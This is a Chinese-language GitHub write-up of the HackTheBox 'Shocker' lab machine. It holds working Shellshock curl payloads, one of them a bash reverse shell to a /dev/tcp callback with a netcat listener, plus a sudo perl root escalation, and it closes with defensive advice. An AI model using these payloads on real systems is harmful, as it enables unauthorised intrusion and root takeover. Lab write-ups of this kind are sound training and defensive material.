R3fr4kt/Shocker-TJNULL-OSCP-

GitHub: R3fr4kt/Shocker-TJNULL-OSCP-

Shellshock漏洞利用自动化脚本。

Stars: 0 | Forks: 0

# HackTheBox: Shocker 漏洞分析 一个结构化和专业的分析过程,展示了识别和手动利用关键的 **Shellshock** 漏洞,随后通过 Linux 目标上配置错误的 `sudo` 权限进行本地权限提升。 ## 技术概述 * **目标操作系统:** Linux * **IP 地址:** `10.10.10.56` * **难度:** 简单 * **核心漏洞:** Shellshock (CVE-2014-6271) & 配置错误的 Sudo 权限 (`/usr/bin/perl`) * **目标:** 通过 CGI 环境变量注入获取初始用户访问权限,并提升至 root 权限。 ## 1. 信息收集与侦察 评估从对仅开放端口的快速全端口 TCP SYN 扫描开始,仅针对开放端口 (`--open`),跳过主机发现 (`-Pn`) 和 DNS 解析 (`-n`) 以加速足迹扫描。 ``` nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56 ``` ### 目标服务与漏洞分析 初步扫描发现两个活跃服务。我们进行二次针对性扫描以执行激进的版本检测 (`-sCV`) 和基于脚本的漏洞评估: ``` nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56 ``` ### 扫描结果 * **端口 80:** HTTP (Apache Web 服务器) * **端口 2222:** SSH (非标准端口) ## 2. 目录模糊测试与 Web 信息收集 在漏洞扫描的同时,我们使用 `gobuster` 启动 Web 目录暴力破解,以绘制 Apache 服务器上的隐藏资源。我们利用 SecLists 框架的标准词表: ``` gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20 ``` ### 关键发现 模糊测试过程识别出一个未索引的 **`/cgi-bin/`** 目录。在旧版 Web 部署中,Apache 服务器使用通用网关接口 (CGI) 来执行服务器端脚本。鉴于机器名称和该文件夹的存在,我们积极寻找可能受到环境变量注入漏洞影响的可执行脚本(例如,`.sh`、`.cgi`)。 进一步的信息收集揭示了一个名为 `user.sh` 的脚本位于 `/cgi-bin/` 目录中。 ## 3. 武器化与初始立足点 ### 测试 Shellshock (PoC) **Shellshock (CVE-2014-6271)** 漏洞允许攻击者通过在处理易受攻击的 Bash 实例的 HTTP 请求头(如 `User-Agent`)中注入恶意函数定义来执行任意操作系统命令。 我们构建一个定制的 `curl` 命令,发送一个用于强制远程系统执行 `/usr/bin/id` 命令的 PoC 有效载荷: ``` curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh) ``` * **结果:** 服务器响应 `id` 命令的输出,验证了 **类似认证的未认证远程代码执行 (RCE)**。 ### 建立反向 Shell 为了将我们的执行向量升级为交互式会话,我们在攻击平台上建立了一个本地的 Netcat 监听器: ``` nc -lvnp 4444 ``` 接下来,我们在恶意的 `User-Agent` 头部注入一个本地的 Bash 反向 Shell 字符串,强制通过 TCP 进行回调: ``` curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp//4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh) ``` 执行成功后,我们收到了一个稳定的低权限 Shell: ``` $ whoami shelly ``` ## 4. 本地权限提升 (LPE) 在系统上获得功能性的用户上下文后,我们审计了我们的本地限制。我们查询 `sudo` 配置以确定 `shelly` 用户是否有权在不提供密码的情况下执行具有提升权限的命令: ``` sudo -l ``` ### Sudo 配置审计 输出显示以下高风险条目: ``` User shelly may run the following commands on shocker: (root) NOPASSWD: /usr/bin/perl ``` ### 通过 GTFOBins 利用 Perl 因为我们有权无限制、未经认证地以 `root` 身份执行 **`perl`** 二进制文件,我们可以轻松突破二进制限制。通过 GTFOBins 进行交叉引用,我们找到一个执行包装器,指示 Perl 进入一个本地的系统 Shell (`/bin/sh`),同时保留执行身份上下文(`root`): ``` sudo -u root perl -e 'exec "/bin/sh"' ``` 我们立即获得了完整的行政执行上下文: ``` # whoami root ``` ## 5. 后渗透与掠夺 现在我们已经建立了 root 访问权限,我们导航到相关的主目录以检索入侵证据。 ``` # 访问用户标志 cat /home/shelly/user.txt # 访问root标志 cat /root/root.txt ``` ## 关键要点与防御建议 1. **修补固有漏洞的软件:** Shellshock 是 GNU Bash 中的一个旧版、灾难性的漏洞。确保所有服务器组件都收到对基础工具的主动安全补丁。 2. **保护 CGI 环境:** 如果必须保留 CGI 脚本,确保它们在隔离、沙盒化的执行模型下运行(例如,使用专门的容器运行时或 chroot 环境),并避免使用过时、易受攻击的默认 Shell。 3. **强制执行严格的最低权限原则:** 通过 `sudo` 授予标准用户无限制访问强大的内置解释器(如 `perl`、`python` 或 `bash`)会引入即时提升向量。Sudo 访问应限于非交互式、高度控制的行政脚本。 ``` ```
标签:CTI, 应用安全